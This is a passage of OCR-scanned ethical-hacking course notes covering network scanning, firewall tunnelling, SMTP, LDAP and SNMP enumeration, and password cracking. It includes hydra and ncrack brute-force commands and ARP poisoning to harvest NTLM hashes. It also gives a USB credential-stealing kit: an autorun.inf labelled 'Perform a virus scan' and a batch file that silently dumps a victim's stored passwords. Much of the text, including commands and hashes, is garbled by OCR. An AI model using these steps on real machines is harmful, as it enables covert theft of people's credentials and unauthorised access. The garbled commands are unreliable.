from a host. Usually This textincludes signatures of applications thatIssue the
message. So, they reveal themselves to us. ” .

« SNMP enumeration




SuperScand

Advanced Port Scanner
Advanced P Scanner

zenmap

You can get the type of operating system by writing
# telnet 192.168.1.20 8o

GET/HTTP/1.1

In my computer, It will shows the operating system is linux.
Besides it told the web server apache and the web application

php



ii. Network Scan Tools

You can use the superscan windows tool
You can use the advanced IP scanner

Flle ©Operations Sethings  Yiew  Help

!__P_ E E E |E~'l Rodmin® fast & secure remote control software [FIryNNEreeD

1 192,168.28.1 - 192, 168.268.254 "l
Scan :
Example: 152,168.0,1-192,168.0,100, 192,168.0,200

Scan Favoribas

Status Marne P - MAC address
A WoRKGROUP 192.168.28.1 00:50:56:CO:00:08
S 152.168.28.2 00:50:56:ED: 3E:CF
o 192.168.28,133  00:0C:29:A8:86:23
1 wWiNzoO3 192.168,28.135  00:0C:29:43:E5:E2
Ml wp-1 locsldomain 20C:29:60: 00:

G p-1 Jocald 192.168.28,138  00:0C:29:80:00:6C
S8l METASPLOITABLE 192.168,28.139  00:0C:29:11:80:F7
A 192.168,28.254  00:50:56:EA:06:04

Palsa 7 allve, 247 dead ]

In backtrack you can do scan using nmap

# nmap 192.168.28.139



You can use Znmap tool
You can use the nmap command

# nmap —A —v —oA report 192.168.1.0/24 —p-

If you want to make scan without showing the offline hosts,
remove —v.

# nmap —A —oA report 192.168.1.0/24 —p-



Use the program Dradis. Go backrack, reporting tools, evidence
management, dradis. It works https. Go to the browser and
write https//127.0.0.1:3004. Write the username admin and the
password admin.

\ |

Dradis framework

Dradis is an open source framework to enable you to work efficiently by gathering
information from different tools and presenting it in a yariéty of formats. We currently™

support: A

In dradis, click on import from file> Choose the xml file and
make upload. You will get all destinations in the subnetwork.



Scan by metasploit armtage

Armitage is a scriptable red team collaboration tool for Metaspleitthat

visualizes targets, recommends exploits, and exposes the'atyan

t-
exploitation features in the framework. / E\

Go to backtrack, exploitation tools, network exploitation tools,
metasploit framework, armitage



~ v % Armitage

Armitage View Hosts Attacks Workspaces Help

» [ exploit
> [ payload
» (@ post

Console xtlmpurt X | Scan x‘l Senvices X | nmap X

“] Building list of scan ports and modules
[*] Launching TCP scan
msf = use auxiliary/scanner/portscan/tcp




We can use Cobalt Strike tool. You must buy the tool as it is
not free



Cobalt Strike is a penetration testing product to emulate a
sophisticated external threat. -

i e e S e
-

Bapseanan

iii. Vulnerability Scanning

A vulnerability scanner is a computer program designedto assess computers,
computer systems, networks or applications for weaknesses. Theré'are a
number of types of vulnerability scanners available tnq/n;, dIstinguisTﬂ‘frcm
one another by a focus on particular targets. :

HNMAP PHRHOJECT

L -OBALT 3TRIKE

ADWLNCED THRFAT TACTICE FOW PENETRATTON FESTERS




There are many programs for vulnerability scanning: Nessus,
acunetix, w3af, armitage, netsparker, cobalt strike.
Nmap scripting engines.

The Nmap Scripting Engine {HSE( is one of Nmap's most powerful'and flexible
features. It allows users to write (and share) simple scripts to automate a wide
variety of networking tasks. Those scripts are then executed.in parallel with the
speed and efficiency you expect from Nmap. Users can rely-on the g and
dive&se set of scripts distributed with Nmap, or write thefr own to meet clistom
neeas.

» Additional service enumeration A

* Vulnerability Detection »

+ Checks for known vulnerabilities h

* Backdoor Detection
* Reliably detect more complex backdoors

i ¥l NMAP PROJECT
* Vulnerability Exploitation

Nmap -A 192.168.1.10 | nmap-sC 192.168.1.10

You can check using nmap on the version detection and
operating system detection, traceroute. You can scan your host
using a script in your computer



Nessus scan

Nessus is a network vulnerability scanning program. . Its can deteet
vulnerabilities on the systems. Nessus is the most popularvtinerability
scanner in the computer security. Nessus allows scans \\
for vulnerabilities, misconfiguration, default passwords’ common passwords /
blank passwords on some system accounts, etc. You can use Nessus to scan
your system and patch the vulnerability h

In backtrack write

# apt-get install nessus

Go to Nessus in /opt/nessus



# cd [opt/Nessus

# cd sbin the add user with the command Nessus-adduser




To register in Nessus

# [opt/Nessus/bin

After you finish, go to applications, backtrack, vulnerability
assessment, vulnerability scanners, nessus

In browser write htps:// 127.0.0.1:8834

add the network subnet to scan



Use the Acunetix web vulnerability scanner

Acunetix has pioneered the web application security scanning technology:

lts engineers have focused on web security as early as 1997 and'deyeloped
an engineering lead in web site analysis and vulneralﬂﬁty detection

W3af Web Vulnerability scanner



w3af is a Web Application Attack and Audit Framewerk-The project’s

goal is to create a framework to help you secure yourweb applieations
by finding and exploiting all. web application vulferabilities.

Go to Vulnerability Assessment, Web Application Assessment,
Web Vulnerability Scanner, w3af gui

Scan vulnerability using armitage and metasploit



Armitage is a scriptable red team collaboration tool for Metasploitthat

visualizes targets, recommends exploits, and exposes the'atdyanced post-
exploitation features in the framework. /




a computer that acts as an intermediary between the hacker and thetarget

computer. . -\

firstmakes a connection to the proxy serverand thenTequests a connection to

the target computer
.,h.

!ﬂﬂuw Tor Works: 1
-, - .
- e O

e R P e

[+ B B+ D

) How Tor Worka: 3 by - SR

- G
TOR Proxy || % 27
Chaining Software | “ - R




* Anonymizers are services that attempt to make w&hqﬁng
anonymous by utilizing a website that acts“as a proxy
server for the web client
M

ul =
I: End-User 1 | Anonymizer 1 Anonymizer 4 Anonymizer 7 :
: — » ! - b b
. Web Server A
B S | ¥ T
[tr End-User 2 ] Anonymizer 2 T Anonymizer 5 Anonymizer 8 :
i‘ =i i I
|
‘-,i }_C Web Server B:
(= —_— e —— i —
|r End-User 3 | Anonymizer 3 Anonymizer 6 Anonymizer 9 :

A popular method of bypassing a fRewall or IDS is to tunnel ablocked
protocol (suchas SMTP) through an allowed protq&l-{such as"ﬂqP].
Almost all IDS and firewalls ,

act as a proxy between a client's PC and the Internet and pass only t?\e
traffic defined as being allowed. -

TCPNP HTTP R‘L.ql..]bbl‘:r TCPAP
connecuon “" . ' connection

.._E 2

Client HTTPTunneI HTTP Proxy HTTPTunnel Samr
Client and / or Server
Firewall




Use the tool super network tunnel. Install it in the server and
client and make the configuration. It is used when there is
firewall the blocks all ports to server except the the http ports
80 and 443 ports and we want to communicate with the server
through the open port 8o but we must install the server part of
program also in the server

Genesal | Sute Dial Tal

iginall] \an Cliert Useéd] | Progiam Via Tunnel Contigl| Remot Gontigll] 5hare Tunnall] Miscelaneaus
[*) Adrnin lsar Password: | "= I | Diefault adrn Uger is not bandwadth limt, other user can add st WaN Chent U sers' tab,

[w Llze Hitp Tunnel and Listen on Part | EJ| cipticnal, if wow want to use hitp furnel Exten

Server Listen on Portg[must choice one port or Chosce Use hitp Turnel Listen)
[ | 25 SMTP Sarver Part 4000 Part [ ] Othes Port
|# 110 POP3 Server Port 8080 Fetion Server Port | a8
v MIAHTTPS Sarver Part :
1863 MSN Senver Posrt |

I crder to bypass the firewall, server-sde program can isten on mulbples poits,
gareraly, il your chent maching o uge http proxy to connect to intermnst nebwork,

wou should hsten on 443, or i vou chent machine anly wes the a-mail client to intemet,
you shiould ister on port 110, you must select o l=ast one listen port

But # you have chosen Use Hitp Turnel and Listen an Post’, this aption i optional

: Check Yo Intemet IP addiess

The simplest systerm cordiguration step i vou set & server password

and click 'my intemeal ip addiess” button o get the server ip,

then clhick ok’ buttan o submit i,

&nd then open chent program setup wandow enter the server ip and the server's password and click '0K!' button,

Miote: the server should be nstalled on a machine can directly connect ta the intemet [static mtermet ip) ar
through a dialup, cable modem, broadband connection to connect to the imermet [denames intemt ip] cormputer,
there should be & static or dynamic internet ip address. such a2 computer in home. [F have not & intermet 1P,
naed make a port mapping. The chent can be installad on the internal network thiough kitp prosgy o

other ways to connect to internet, does not require have a nternet ip. such as office computer,

Server usualy inetsl &t home complder, [ Helo j l 0K | Earu::edJ

Add user. Then start server.



(Generall] 140 Dis Taemal] /> Cher1 -+ | Fogyom Via TureelSosligl] Remole Contial] S hore Tunms]| Miscelsnous]

Only accept this ip address connect to server | |
Empéy iz accept any o addess

suppart .and * such &3

218.216.327,218.324.25

System pdgment user/
it ge the server passwon
it uge user and passwor

e amirige
Per uzer name should Ui ame; |ahma{
i the bwa machines wse
UserName | MaxCond | 2580rd (ot ]
- 2| Mecomects | [ 0Unimtad Connections
: [t Fudl]
Max Bandwidth | 0] Bytes/Second, O Unimited Bandwidth |
Lonnachiang
1 Thas Uger Ondy Allow Access Server's LAN | Mol Allow Scosss Intemst
[ U ribenibe B arshwidth
o0k | | Concel
i ; v 2 LAN | Mo lnternet Access

[ Carezparnding in the client ‘program via turmel setup’,
please remove 'all lan addeess diect’ option |

| Usger Enablad

| Add & User Delete Select Uszer |

Setup the program in client computer. Give it the ip of the
server. Put the user name that you created in the server and
the password. You can add internet explorer over tunnel and
logon through ftp tunnel



|,.L Py 'I -- | ".._ p IR | !--:IE':_I_ _I - | FLASY : | Z-I:_.: =

[*15&rver Address: |

*  LognUszer |user [*] Passward: | ==

S &rver Part [ B0 ‘With a%leri:k muzt be hlled, Lognlzer’ amgpty means your i@ default sdrn uzer
server address can be ip address o domain narne or a wl, i your server ip is not static ntenet ip
: =zt yous request a free server domain name for server o
Iz |E Corihig| = Test Confi Sgges! OLN requies! )
9 2| and thery in here bo fill the zerver domman name, you can see help e for detail,
i sarver address iz a URLleg kitp. //vourdomainfesty, server m LAN, use apache everse prosyl
server port option will be ignoed, and ‘use prosy connsch to served must be checked,

proxy type must be ‘Use Hitp Tunnel', and if doss not use a http proxy, proxy IF can be emply
| Uze Prasy Connect To Sanver

Frawmy Config

Prowy Type Hitp ProxeMot suppart HTTPS uge hitp tunnel iecommended for unstable network) -
Prenay |F Presy Part 75

Prowy Usert ame;  |uses Prosy Passwod: P

Dramain Name When domain narme is nat blank use NTLM] | Get Damain
MTLM Version NTLMY2[default) -

* A SSH tunnel consists of an encrypted tunnel created througha SSH

protocol connection. A SSH tunnel can be used to transfer unol_qypted
traffic over anetwork through an encrypted changel '

crypied 55H Channe

Tramiferred Data

Unengrypted connecison

Install Copssh tool in the server and create the user for a client.
Activate a user.While install putty in the client.



(!’ 01, Activate & user IT) Accessories ’ J

=Y : Lot O, Activats & user
6’ 02, Deacklvate & usee s
- I Games i I (5 02, Deactivate a user
‘-’ MSN ) Startup » Il ™ 03, Start & Unoc BASH Shell
I Super Network Tuninel » Il B 04, Start aWindows CMD Shell
e Windawes Media Playd ‘ Inbernet Explores [f] 05. Readme
w msn W 08, Documentation
4y Windows Messenger §l e o piook Express &) 07, copsSH web site
: _ Remote fssistance 08, DONATE!
@ Tour Windows %P . e ﬂ
& Windows Media Playsr @ 09, Uninstall COPSSH

A Windows Messenges

& PuTTY Configuration

Category. . . .
W = Sessien | Basic options far your PuT TY session |
Logging Specily the destinabon you want o connect to

(= Temina
Keyboard H oot Mame (o [P address) Pnrt

Bel | |22
Festures Connection ype:

1 = Window COFRsw O Tdnh{:} Rlogin &355H () Serial
Appeaiance

Behaviaur
Tranelation Saved Sessions

Selection |

Lalours Default Settings
[= Connection demio

b
Delete

Load. save or delete a stared session

Priosgy

Telret

Rlogin
i# SSH

b Cloze window on ewt:

Cidlways O Never () Only o clean exit

About | Open || Cancel




X PuTTY Configuration

Categon,.
= Termirna
Kevboard
Bell
Festure:
= ‘Window
Appearance
Behaviour
Trans|stion
Selechon
Colours
= Cornachon
[rats
Proom
Telnat
Rlagin
= 55H
K
£ Auth
TTY
N
T unnets
Bugs

About

L

Dption: controling 55H pont fonwarding

Port fomwanding

[T Local ports sccept connections from other hasts
[C] Remote ports do the same [S5H-2 only)

Fomnarded ports

Add new farwarded poat

(e ) [®

Source port BOE0 Aodd ]
Diestiration g080

) Local ) Remate ) Dynamic

) Ao L 1Pyvd %IP\;E

Open ] | Carcel




To use the SSH as proxy server

Fork

8080|

¢
| 2]
FTR: | |: |
| ¢
sodsi | locshos I¢]
[ |Use the same proscy server For all prokocols

Excaptions
§L Do ot use proxy server for addresses begnning with:
=

Use semicolons ( ; ) to separate entries,




IP address spoofing or IP spoofing is the creation of Internets
Protocol (IP) packets with a forged source IP addrgss, with tho-ul;pose
of concealing the identity of the sender or impergofiating another
computing system

FY
"y o

P e Plad
SR T CALSers\IT-TRAINY D esktop\Du an CEHvT Mo duls
- ™ T

e peO
e
535
oo

BE¥

fombile

Use nmap to do IP spoofing



# nmap —e eth1 -S 192.168.15 192.168.1.10
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Part 4: Enumeration

—

—

+ The objective of enumeration is to identify a uset,'bt'(:ount or sys,a'n
account for potential use in hacking the target system. It isn’t
necessary to find a system administrator account, because most A,
account privileges can be escalated to alloW the account more access
than was previously granted *

A null session occurs when you log in to a system with nl.'_i"ﬁ'sernamhﬁ
password. NetBIOS null sessions are a ulnprabilityfag;hd"in the Commo
Internet File System (CIFS) or SMB, depending onthe operating system.

Null sessions require access to TCP ports 135, 137,439, and/or 445.
’/I..-?

can retrieve a SID from the SAM (Security Accounts
Manager) from the local or a remote machine

There is a tool called Dumpsec tool. We can get information
about machines from this tool



. Somarsoft DumpSec (formerly DumpAcl) - W192.168.28.138

File Edit Search REISEH

Select Computar. .,
Refresh

Permisslions Repart Options.

Dump Permissions for Fle System...

Dump Permissions For Regstry, .

Dump Permissions For Prindars

Dump Permissions for Shares

Dump Permissions for Sharad Directory. ..
Dump Permissions for A0 Shared Directoeies

Dump Users as calumn...

Dump Lisers as table, ..

Dump Grogle &< column. ..

Dump Groups as table. .

Dump Users 25 table Fast (names ondy)

Dump Folicies
Dump Rights
Dump Services, .

Cissidruser2esid 192.16¢F 138 user

Humbe e

A |

18608

atit horities is

1

298-1979792683 kl 177238915

in memnory iz 28 bytes
SidTypelser

ficcount Ouwn

Permission

user2sid tool

1 HE 3




SNMP enumeration is the process of using SNMP to enumerate.user accounts on a
target system. SNMP employs two major types of software/components &
communication: the SNMP agent, which is located on themetworking device, and
the SNMP management station, which communicates with the agent.

N

Secure Auditor

snmpenum

Use nmap to see if port 161 open

# nmap 192.168.28.137

# nmap 192.168.28.137

Go applications, backtrack, information gathering, network
analysis, snmp analysis, snmpenum

#./snmpenum.pl 192.168.1.1  public windows.txt



htp:/Aww w
Nc

Smtpscan

smtp-user-enum

SMTP enumeration With Metasploit

In mail server enumeration, we try to get information from the
mail server. We can find if the mail server is open relay that
spammers can send through it too many emails so it will be

blacklisted

To know whether the mail server is open relay

http://www.mailradar.com/openrelay/

[Method 3 @ 1460382427]

<
>>>
<
>>>
<
>>>

220 smtpoi.gov.ps ESMTP Postfix
HELO mailradar.com

250 smtpoO1.gov.ps

MAIL FROM: <>

250 2.1.0 Ok

RCPT TO:



<<< 554 5.7.1 : Relay access denied
>>> QUIT

<<< 221 2.0.0 Bye

[TEST



All tested completed! No relays accepted by remote host!

Use the netcat in linux to detect if the server is not open relay

* root@bt: ~

Use msfconsole



# search smtp

# use auxiliary/scanner/smtp/smtp_enum3



#show options

# set RHOS 213.244.82.152

# (it will use the file)



Other way to get user from mail server

Go to applications, backtrack, information gathering, network
analysis, smtp analysis, smtp-usr-enum. Type the command

Another tool called smtpscan



Go to applications, backtrack, information gathering, network
analysis, smtp analysis, smtpscan.



# smtpscan 213.244.82.152

LDAP is an Internet standard protocol used by applications to acee
information in a directory. It runs directly over TCP, and eanbe ustu
access a standalone LDAP directory service or to accgs€ a directory ice
that is back-ended by X.500. It was created as away fo minimize the
implementation requirements on directory clients, and to simplify and A

encourage the use of directories among appii}a_tlons,

]
——

Ldp.exe

LDAP Admin Tool Professional 5.0

To do Idap enumeration the port 389 must be open.
Use the tool LDAP admin professional



& New Ldap Connection

News Connection

=l e _..-\..,-
L Now Connection) @ 5.4 et b0 continue... [
[iciane % W8 =
Version: 5.0 Connection Name: | test
Release Data:  July 17, 2
Status: Trial Vers| st i —— o
Hostrame: m.ma.ze.wi v |
Getting staf O — ¥|  Protocol | LORP v3 S|
Base DN \'|
£J Create 2 new Conned I Fetch Base Dhs l [ Test Connaction l
Run a wizard for cre|
& Qoenanexsting cord . 55 s
Irvokes a dalog For
] Conneck to Active Dif
Invokes & dulog For
This comgister must
This option auto fils
3 Test Connectionto [ tet> J{ rrsh J[ concel |
Creates a non-ss| colTRECION T COBICIaT, Lo, T IS SETvaT & a7 S,
Requires internat connection
Craates a 5501 connection to Ldapchent.com server, if the sarver is avaiable,
Requres intarnst connection
) RootDSE Attribube Mames Value Size
# 2 Ch=Configuration,DC=edy conf uﬂummi -N=ConFiguration, DCeaduors, DC=local s
EICHMH,CN-CQFﬁle}Dc-m,M‘hEH 20130531193942.07 W4 17
# [ DCmDomainDnsZones, DC=| | defaukNamingCantext DC=aduors, DC=local 18
# [ DC=eduors,DC=local drsHosthame winZ003, eduors.local 0
# | DC=FarestDnsZones, DOt domsinContrallerFunctio,.. 2 1
demainFunctonal ity 0 i
dssarvicehame CN=NTDS Settings, CH=\WINZ003, CNeSarvars, CN... 110
ForastFunctionaity 0 1
highest Comeritted SN 13801 5
isGlobalC atalagReady TRUE 4
isSynchronized TRUE 4
IdapServiceNarme eduars. local:win2003$@EDUORS. LOCAL 4
namingCentexts DC=eduors, DC=local 18
namingContexts CN=Canfiguration, DC=aducrs, DC=local k]
namingContexts CNmSchema, CheConfiguration, DCmeduors, DCw=lo,,. 45
namingContexts DC=DomanDnsZones, DC=aduors, DC=local 36
namingContests D mForestDing Zones, DEmeduors, DC=local 3%
rootDomainiamngContext  DCweduors, DC=local 18
schamahamingContet CNwSchams, CeConfiguration,DC=eduors,DCw=lo, .. 45
serverhame CM=WIN2003, CN=5arvers, CN=Dafault-Fust-Sike-... 93
subschomaSubontry CH=Aggregste, Ch=Schama, CN=Configuration,[... 58
3 || supportedCapabilities 1,2.840.113556.1.4.800 22

Don't show this next time

Type/Ed...
Text
Text
Text
Text
Text
Text
Text
Text
Text
Text
Text
Text
Text
Taxt
Toxt
Taxt
Text
Taxt
Text
Taxt
Cperatio. ..
Text

T EZE T ET T EETZET T EELTETE LT ETZETZET LT ZTET=E

You can use |dp.exe in windows support tools for same purpose




d = ldap_open['192.168.28.135", 389);
stablished connection to 192.168.28.1135.
trieving base DSA information...
esult <02 [null)
atched DNs:
Getting 1 entries:
> Din:
1> currentTime: 05/31/2013 12:40:47 Pacific Standard Time Pacific Standard Time:
1> subschemaSubentry;
CN=Aggregate,CN=Schema,CN=Con[llguration,DC=eduors.DC=local;
1> dsServiceName: CN=NTDS
[Settings, CN=WINZ2003,CN=5ervers, CN=Default-First-Site-Name.CN=5ite s, CN=Configuration.DC=e du
ors,DC=local;
5> namingContexts: DC=eduors,DC=local; CN=Configuration,DC=eduors,DC=local;
CN=Schema,CN=Configuration,DC=eduors.DC=local; DC=DomainDnsZones, DC=eduors,DC=local;
DC=ForestDnsZones, DC=eduors.DC=local;
1> defaultNamingContext: DC=eduors.DC=local;
1> schemaNamingContext: CN=Schema,CN=Configuration,DC=eduors,DC=local;
1> configurationNamingContext: CN=Configuration,DC=eduors,DC=local;
1> rootDomainNamingContext: DC=eduors,DC=local;
21> supportedControl: 1.2.840.113556.1.4.319; 1.2.840.113556.1.4.801;
1.2.840.113556.1.4.473; 1.2.840.113556.1.4.528; 1.2.840.113556.1.4.417; 1.2.840.113556.1.4.619;
1.2.840.113556.1.4.841; 1.2.840.113556.1.4.529; 1.2.840.113556.1.4.805; 1.2.840.113556.1.4.521:
1.2.840.113556.1.4.970; 1.2.840.113556.1.4.1338; 1.2.840.113556.1.4.474;
1.2.840.113556.1.4.1339; 1.2.840.113556.1.4.1340; 1.2.840.113556.1.4.1413;
2.16.840.1.113730.3.4.9: 2.16.840.1.113730.3.4.10; 1.2.840.113556.1.4.1504;
1.2.840.113556.1.4.1852; 1.2.840.113556.1.4.802;
2> supportedLDAPYersion: 3; 2;
12> supportedLDAPPolicies: MaxPoolThreads: MaxDatagramRecv: MaxReceiveBuffer:
InitRecvTimeout; MaxConnections; MaxConnldleTime; MaxPageSize: MaxQueryDuration;
rﬂnxTem pTableSize: MaxResultSetSize; MaxNotificationPerConn; MaxValRange;

We use dns enumeration using nslookup and dnsstuff.com
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Understanding Password-Cracking Techniques /%
L3 /
Understanding Different Types of Passwords /

Understand Escalating privileges 4
Understanding Keyloggers and Other S})ﬁareTechnologies

Understanding Rootkits
Understanding How to Hide Files
Understanding Steganography Technologies

Understanding How to Cover Your Tracks




Many hacking attempts start with attempting to crack passwords. Passwords
are the key piece of information needed to access a system. Users, when
creating passwords, often select passwords that are prone to.being d.
Many reuse passwords or choose one that’s simple—sgﬁh‘ as a pet’s nam

Pas3words are stored in the Security Accounts Manager (SAM) file on a

»  Windows system and in a password shadow fil 20N a Linux system.




Workgroup

In workgroup the uses name and passwords stored in the SAM
file in the same machine. We can crack the passwords if we got
the data on the sam file.

In the domains, the usernames and passwords are store in the
domain controller. The directory service consists of four parts:
domain partition, schema partition, configuration partition and
application partition. The domain contains data about all objects
in network. Schema partition consists of attributes or class
templates. The configuration partition consists of the
infrastructure of domain controller. The schema partition
consists of attributes and classes templates.

In active directory domains, the machine logon using Kerberos
service. When the client wants to access any resource, it goes to
a service under Kerberos called TGS (ticket granting service).
The TGS carries TGT (ticket granting ticket). In TGT is file
written on it SID for users and the security groups that the
users members on them. The machine requests the TGT when it



wants to access a service and the active directory grants it
service ticket and session key and the machine gives the service
ticket and the authentication to the service

Eavesdropping on network passwordex change?b.‘
Passive online attacks include sniffing, man-in-the-middle, and replay
attacks.

5 '
Guessing the Admlnlstratﬂfpassword Active online

attacks include automated password guessing.
Dictionary, hybrid, and brute-force attacks.

shoulder surfing, keyboard sniffing, and social
engineering.

- A file of words is run against user accounts, and if the password is a
simple word, it can be found pretty quickly.

—

- A commeon method utilized by users to change pagswords is o
number or symbol to the end. A hybrid attack works like a dinlfunar[.r attack, adds
simple numbers or symbols to the password attempt. i

- The most timeconsuming, but comprehengive way to crack a
password. Every combination of character is tried uptil the password is broken. /™

= it is the combination of both brut foﬁ’:e attack and the dictionary atiack

- this attack is used when the attacker gets some information about
the password

is understood to mean the art of manipulating people into
performing actions or divulging confidential information

using direct observation techniques, such as looking over
someone’s shoulder, to get information

is a technique usedto retrieve information that could be used
to carry out an attack on a computer network




Sniffing
Mén-in-the-middle and replay attack

; Lophtcrack

cain

Cain and Abel Tool: Using the cain and abel tool. Tell him you
want to use the cart network. Choose to make arp poisoning.
Choose to run NTLM authentication. Go to sniffers and then
hosts and add. Click all hosts. Go to ARP and check the
gateway and choose the destination that we want to make ARP
poisoning.

Go and browse any machine in the network to see its share.



- Type the name of a program, folder, document, o
Internet resource, and Windows will open it For ywou,

Cpen: 1192.1608.28. 138

S T

Then go cain and abel and click passwords and then click SMB
and we will find LM hash and NTLM hash. We can from this

hash crack the password.

File Wew Configure Tooks Help
IHOMEE +v B LyvmEE0¥E ¢ 0 |
Network | M9 Sniffer |of Cracker |4 Tracerore | CCDU | Wireless | (b Query |

I Passwords ~ | | clent Usermame Domain Password AuthType LM Hash NT Hash NT Serv-Chal LMCEC
FTP (0) lusee [wp2 ] | NTLM Sassion S... | S4FDESE2A662... | D588C0ERZ9ZD.... | Dooooof|
%) HTTP (0) .

G NNTR (D)



Passuinrd guessing

Trojan /| spyware | keylogger

. hydra -l msfadmin -P -":ientestfpas_ﬁwnrdsfwordlists."darkcﬂde.lsp
* 192.168.28.129 ftp /

b herack -v -u msfadmin -P /pentest/passwords/wordlists/darkcOde.lst -p
5900 192.168.28.129

http://'www.insidepro.com/dictionaries.php (password list)

You can find the password dictionary list in linux in You can
find the password of ftp service using this command

# hydra —-| msfadmin -P /pentest/wordlists/darkode.Ist
192.168.1.3 ftp

Where msfadmin is username



It can find the password if it is in the file list

You can use ncrack for same purpose

# ncrack -u msfadmin -P  /pentest/wordlists/darkode.lst -p
21 192.168.281.29

You can download password list from

hitp://www.insidepro.com/dictionaries.php (password list)




new cool way to hack passwords physically, t meansthat physical @pproach

matters a lot for using this method We will use a ush and Sseme-applications to

hack stored passwords in any computer. As we know nowsa<tdays ;_JE.{.‘.M{'] up

at large number of websites and losrememberthem.all they store their

passwords in the computer. We will try recovenng them automatically using a

USB dnve. Yes, All we need s to plug the USB ipany port This tnck waill work'Tor
Py

Windows 7 /

hitp://www.nirsoft. net/password _recovery tools.html

misert USH into
wichim’ b Lor e r i
Bt cr gl ﬂ -

Pascworde




You have flash drive and when you put it inside the device, it
will steal the information.
There is a tool in nirsoft.net to recover all types of passwords.



The following table describes the most popular password recovery utilities for Windows in NirSoft Web site:

MessenPass

Recovers the passwords of most popular Instant Messenger programs i Windows: MSN M ger, Windows Messenger, Windows Live
M: ger, Yahoo Messenger, ICQ Lite 4 x2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView

Recovers the passwords of the following email programs: Windows Live Mail, Windows Mail, Outlook Express, Microsoft Outlook 2000 (POP3
and SMTP Accounts only), Microsoft Outlook 200272003 (POP3, IMAP, HTTP and SMTP A ), IncrediMal, Eudora, N pe Mail, Mozl
Thunderbird,

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmaul), if vou use the associated programs of these
accounts.

|E PassView

Iy

IE PassView 1s a small utilaty that reveals the passwords stored by Internet Explorer t - It supports the new I Expl TOand 80, as
well as older ions of Intemnet explorer, v4.0 - v6.0

Protected Storage PassView

Recovers all passwords stored inside the Windows Protected Storage, including the AutoComplete passwords of Intemnet Explorer, passwords of
Password-protected sites, MSN Explorer Passwords, and more...

Dialupass

Password recovery tool that reveals all passwords stored in dial-up entnes of Windows. (Internet and VPN connections) This tool works m all
versions of Windows, including Windows 2000, Windows XP, Windows Vista, Windows 7, and Windows Server 2003/2008.

BulletsPassView

BulletsPassView 15 a password recovery tool that reveals the passwords stored behind the bullets in the standard password text-box of Windows
operating system and I Expls Web b . After revealing the passwords, you can easily copy them to the clipboard or save them into
texthtml/csv/xml file.

You can use this tool 1o recover the passwords of many Windows. applications, like CuteF TP, Filenilla, VINC, and more...

Network Password Recovery

Recover network shares passwords stored by Windows XP, Windows Vista, Windows 7, and Windows Server 2003/2008.

SniffPass Password Sniffer

Windows unlity which capture the passwords that pass through vour network adapter, and display them on the screen mstantly.
You can use this utility to recover lost Web/FTP/Email passwords.

RouterPassView

Windows utility that can recover lost p ds from configuration file saved by a router. This utility only works if your router save the
configuration file in a format that RouterPassView can detect and decript.

i. Method 1 for Stealing Passwords Using USB drive:

Take the programs in the website, mspass, pspv, passwordfox as
example. lepv_setup.exe, mailpv_setup.exe. Take the programs
and put them in a folder. Setup the programs iepv and mailpv
and take their programs from program file.




oy _setup. &
- mspass.zip
71¥KB
progstart, bat
@ MS-0n05 Batch File
1KE
| mem

s passwordfox

ot autorun.inf

el Setup Infarmation

- 1KB

@ mallpy_sebiup, exe
(& 1 passwordfox, zip
| 58 KB

[ paspy.zip

33 KB

Make program autorun.inf in the folder



B autorun.inf - Notepad

File Edt Format View Haelp

[autorun]
opensprogstart Jbat
ACTION= Perforfi a virus scan

Make program progstart.bat

progstart.bal - Notepad

Fi= Edt Format View Hebp

STArt Mspass.exe /SText mspass.Txt
s ERMEANTEEN et ma 1py. o
start depv.exe /stext fepv.txt

sTart pspv.exe Sstext pspv.Txt
start passwordfox.exe /stext passwordfox.Txt

Save the files in the root of flash. After you put the flash, the
passwords will will be saved in the text file

ii. Method 2 for Stealing Passwords Using USB drive: USB
Utilities

We use USB_Utilities



USB TO ETHERNET CONNECTOR V2.4
USB THIEF
USB COPYNOTIFY V1.55
USB SAFELY REMOVE V.35.51.617

PASSWORD PROTECT USB V 5.6.2
USB SMART SAMSUNG TOOL V112

ID USB LOCKKEY V122
USB TOOLS INFO / CONTENTS

Choose the USB thief. Browse. Choose the place that you
extracted the usb utilities. There will be two folders.



LTI

! USE_|Eilites axe
J ALitoPlay Anolication
AutoPiay Appication

Take the data in USBThief folder and put it in flash memory.



When you put the flash in the machine it will dump all

passwords.

When you go home, open the dump folder.

‘oders x

& Deshtop
& ) My Documents
= W My Computer
@ JL 3% Flogpy (A1)
® <o Local Desk(C:)
# ok DVD Drive (D2)
= % Removable Disk (E:)
) batexe
= ) Dump
\J USER-3665BIA67C
12 cons
# [ control Panel
# ) Shared Documents
# I useer's Documents
& S My Network Places
& Recycle Bin
£ 1) New Folder
£ | ush password
£ 1) USE_Utiktes

" history. html
| HTML Docurnent
| 5KE

% IMChents, himi
HIML Docisment
1 KB

* mall html
HIML Docismaent
1 KB

W @_ ®

Mlmmr.ﬂw
| HTML [aocismesnk
| SKB

" OpenPorts. html
HITML Document
13 KB

%Nﬁ

PstPassword. html
HIML Docusmment
I

KB

riup.htmd
Drpcvsmsnt

IW |®|

HTML
KB

" 1EPasswords.html
HTWML Document
| 1 k8

| HTML Document
4 KB

9‘ “ InstalledUpdates, html

Mulal:ooﬂuumw
| HTML DocLams
I"I'-

1 MetwarkPasswards, btml

|
HIML Document

| 1k

o @

Pmd.l:l:l(ayhh\'ll
| HTML CicLame

1 kB

" selected.html
I- ML Docuiment
KB

|'_ ,@|



Microsoft uses NT Lan Manager (NTLM) hashing to secure passwords in
transit on the network. Depending on the password, NTLM asl'llng can be
weak and easy to break

When this password is encrypted with LM algorithm, it is f' uﬁonvuﬂeﬁ ta%\
uppercase: "123456QWERTY"

The password is padded with null (blank) characters to make it 14character Ii.7nL|:|T.h‘:PL

"123456QWERTY_"

Before :.-ncr;.rptmg this password, 14 character aﬁng is split intohalf: |’1234550 and
WERTY

Each stnng is individually encrypted and the results concatenated.
'123456Q' = 6BF11E04 AFAB19TF

"WERTY_' = FIE9FFDCC75575B15

The hash is 6BF11E04AFAB19TFF1E9FFDCCT5575B15




When Microsoft saves the password, it saves them in LMHash.
Now there is NTLM hash.

The Microsoft in work group environment registers the
passwords in sam files. It is in system32/config folder. We cant
do anything to the SAM file while the operating system active
as it is protected.

To get the data in SAM file we have thwo methods. The first
method to bring program that can extract the data in SAM file
and the second method is to boot from another operating
system through the live CD.

I. Method 1 to get the data in SAM file:



This method if you are local in machine as normal user and
you want to get the password of the machine for administrator.
To find the administrator user while you are not administrator,
